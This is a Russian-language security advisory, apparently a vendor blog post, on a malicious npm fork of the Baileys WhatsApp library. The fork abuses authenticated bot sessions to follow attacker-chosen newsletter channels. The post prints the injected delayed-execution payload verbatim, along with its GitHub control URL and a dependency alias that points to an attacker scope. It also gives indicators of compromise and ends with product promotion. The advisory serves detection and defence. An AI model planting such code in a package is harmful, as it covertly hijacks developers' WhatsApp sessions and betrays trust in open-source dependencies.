Вредоносный npm-пакет

Вредоносный npm-пакет в Baileys Fork (случай Skyzopedia)

TL, д-р

Исследовательская группа Xygeni Security определили вредоносный npm-пакет, @dappaoffc/baileys-modопубликовано как форк широко используемой библиотеки WhatsApp Web API. @whiskeysockets/baileys.

Начиная с версии 8.0.1, этот вредоносный npm-пакет содержит внедрение кода во время выполнения. lib/Socket/newsletter.jsВнедренная логика незаметно подписывает аутентифицированную сессию бота WhatsApp разработчика на каналы рассылки новостей, контролируемые злоумышленником.

Полезная нагрузка активируется через 80 секунд после загрузки модуля и динамически получает список целей из GitHub, что делает это поведение самообновляющимся и затрудняет его обнаружение с помощью анализа во время установки.

Технический обзор

В ходе планового мониторинга недавно опубликованных зависимостей исследовательская группа Xygeni Security обнаружила аномальное поведение в @dappaoffc/baileys-mod, позже подтверждено как вредоносный npm-пакет нацелены на экосистему ботов WhatsApp.

В отличие от червей, крадущих учетные данные, или программ-вымогателей, этот вредоносный пакет npm использует в своих целях доверительные отношения между разработчиком и широко распространенной библиотекой с открытым исходным кодом.

Данный пакет представляет собой модифицированную версию BaileysЭто популярная реализация WhatsApp Web API, широко используемая для создания ботов автоматизации. В этой экосистеме установка форков является распространенной практикой. Следовательно, злоумышленник использовал реалистичную модель распространения, а не уязвимость.

Важно:

  • Скрипт предварительной установки проверяет только версию Node.js.
  • В процессе установки утечка учетных данных не происходит.
  • После установки подозрительной активности не обнаружено.
  • Внедрение выполняется исключительно во время выполнения программы.

Благодаря такой конструкции, сканеры, устанавливаемые во время установки, не смогут обнаружить вредоносное поведение.

Механизм внедрения вредоносного кода во время выполнения внутри вредоносного npm-пакета

Вредоносная логика, содержащаяся в этом вредоносном npm-пакете, находится в lib/Socket/newsletter.js, встроенный непосредственно в контекст выполнения модуля.

Злоумышленник обернул внедренный блок в выражение немедленно вызываемой функции (IIFE), которое гарантирует выполнение сразу после загрузки модуля.

Однако вместо немедленного запуска полезная нагрузка вводит механизм отложенного выполнения:

(async () => {
  try {
    setTimeout(async() => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async(i) => {
        await delay(5000)
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000)
  } catch (err) {}
})()

После истечения задержки полезная нагрузка выполняет управляемую последовательность действий:

  • Получает JSON файл из URL-адреса необработанного контента GitHub.
  • Анализирует список идентификаторов рассылок WhatsApp.
  • Выполняет итерацию по списку.
  • Объявления newsletterWMexQuery(id, QueryIds.FOLLOW) для каждой записи.
  • Запросы отправляются с интервалом в пять секунд, чтобы снизить вероятность обнаружения превышения лимита запросов.
  • Незаметно подавляет все ошибки во время выполнения.

Поскольку код вызывает внутренние библиотечные функции, а не внешние скрипты, результирующий трафик практически неотличим от законных действий, инициированных пользователем. WhatsApp-х С точки зрения протокола, бот добровольно подписался на эти каналы.

Техническое сравнение: легитимное поведение против поведения, внедренного в организм.

Компонент Законное поведение Злонамеренная инъекция
Фаза установки Проверяет только версию Node.js. В момент установки не было обнаружено видимых вредоносных действий.
Инициализация модуля Экспорт фабрики по производству разъемов WhatsApp IIFE выполняется автоматически при загрузке модуля.
Срок выполнения Отсутствие задержки поведения 80-секундная задержка активации
Сетевая связь Обмен данными осуществляется только через протокол WhatsApp WebSocket. Исходящая загрузка необработанного контента в GitHub (канал динамического управления)
Действия с новостной рассылкой Запросы на подписку, инициированные пользователем Автоматизированные запросы FOLLOW через внутренний API библиотеки
Обработка ошибок Распространяет операционные ошибки Незаметно подавляет все исключения

Динамический канал управления через GitHub

Список подписчиков новостной рассылки размещен по адресу:

https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json

Данная конструкция обеспечивает ряд эксплуатационных преимуществ:

  • Динамическое обновление полезной нагрузки без публикации новой версии npm.
  • Доверенная TLS-точка доступа, которая незаметно вписывается в обычный трафик разработчиков.
  • Не требуется инфраструктура, управляемая злоумышленником.
  • Сохранение состояния уже развернутых ботов.

Поскольку внедрение выполняется внутри области видимости фабрики, оно повторно использует внутренние замыкания, такие как newsletterWMexQuery и delay без импорта внешних модулей. Это минимизирует занимаемое пространство и повышает скрытность.

По сути, GitHub выступает в качестве облегченного канала распространения команд.

Псевдонимы зависимостей и сигналы атрибуции

Метаданные пакета содержат следующий псевдоним зависимости:

"libsignal": "npm:@skyzopedia/libsignal-node"

Это перенаправляет критически важную криптографическую зависимость в область видимости npm, контролируемую злоумышленником.

Кроме того, метаданные имитируют исходный проект, ссылаясь на оригинального автора и репозиторий. Это повышает воспринимаемую легитимность и снижает критику при поверхностном анализе.

Эти сигналы указывают на преднамеренное смешение экосистем, а не на что-либо другое. оппортунистическое вмешательство.

Признаки компрометации этого вредоносного пакета npm

Группам специалистов по безопасности, расследующим деятельность этого вредоносного пакета npm, следует оценить следующие признаки:

Сетевые сигналы

  • Исходящие GET-запросы к raw.githubusercontent.com из процессов бота WhatsApp
  • Подписка на новостную рассылку: отслеживание действий, происходящих без запуска логики приложения.

Сигналы пакетов

  • @dappaoffc/baileys-mod версия 8.0.1 (и, возможно, 8.0.0)
  • Перенаправление псевдонимов зависимостей libsignal
  • Внедрение IIFE во время выполнения newsletter.js

Поведенческие сигналы

  • Запросы FOLLOW отправляются с интервалом в пять секунд.
  • Перед подпиской на новостную рассылку пользователь не взаимодействует ни с кем.
  • Подавление скрытых ошибок внутри кода основной библиотеки.

В отличие от традиционных вредоносных программ, эта атака не требует утечки учетных данных. Злоупотребление происходит исключительно в контексте уже аутентифицированной сессии.

Обнаружение и устранение угроз с помощью Xygeni

Этот случай наглядно демонстрирует, почему одного лишь сканирования во время установки недостаточно. Вредоносное поведение проявляется после загрузки модуля и скрывается внутри легитимной бизнес-логики.

Система раннего оповещения о вредоносном ПО (MEW) от Xygeni Этот пакет был обнаружен путем сопоставления нескольких сигналов, а не на основе одной единственной сигнатуры.

Статический анализ исходных данных

MEW проверяет исходные коды пакетов целиком, а не только скрипты жизненного цикла.

В данном случае в число сигналов обнаружения входили:

  • Неожиданный fetch() вызов внутри основного модуля WhatsApp
  • Исходящая коммуникация с необработанным контентом GitHub
  • Шаблоны отложенного выполнения, встроенные в логику времени выполнения.
  • Вложенная обработка скрытых ошибок

В отдельности эти закономерности могут показаться безобидными. Однако совокупный анализ выявляет аномальное поведение, несовместимое с истинной вилкой Бейлиса.

Корреляция риска зависимости

libsignal Использование псевдонима вызвало дополнительную проверку, поскольку он перенаправляет конфиденциальную зависимость в непроверенную область видимости.

Корреляты Xygeni:

  • сигналы репутации издателя
  • Несоответствия в распределении полномочий.
  • Перенаправление зависимостей от криптографических библиотек
  • Индикаторы имитации метаданных

Такой многоуровневый анализ снижает количество ложных срабатываний и позволяет выявлять злоупотребления доверием.

Управление цепочкой поставок с учетом времени выполнения

Поскольку этот вредоносный npm-пакет выполняется во время работы программы, эффективная защита требует анализа поведения.

Xygeni проводит оценку:

  • Механизмы отложенного выполнения
  • Неправильное использование внутреннего API
  • Исходящие сетевые вызовы внутри кода зависимостей
  • Аномальный поток управления внутри сторонних библиотек

Помимо вышесказанного, Guardrails политики в CI/CD Можно:

  • Блокировка неожиданных исходящих вызовов во время сборки.
  • Выявление подозрительных изменений в графе зависимостей
  • Внедрить ограничения на перенаправление области действия
  • Отметьте динамические шаблоны извлечения полезной нагрузки

Следовательно, сдерживание распространения инфекции не зависит исключительно от удаления записей из реестра.

Почему этот вредоносный npm-пакет важен для безопасности цепочки поставок

Этот вредоносный npm-пакет отражает структурные изменения в злоупотреблениях в цепочке поставок:

  • Выполнение во время выполнения, а не установка полезных нагрузок.
  • Динамические каналы управления размещены на доверенных платформах.
  • Злоупотребление легитимными внутренними API
  • Подмена метаданных для имитации действий разработчиков исходного кода

Злоумышленник не использовал уязвимость программного обеспечения. Вместо этого он воспользовался доверием к форкам и обновлениям зависимостей.

Следовательно, для обнаружения требуется полный анализ исходного кода, корреляция рисков зависимостей и анализ с учетом времени выполнения, а не просто сканирование скриптов.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
7-дневная бесплатная пробная версия
Кредитная карта не требуется.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni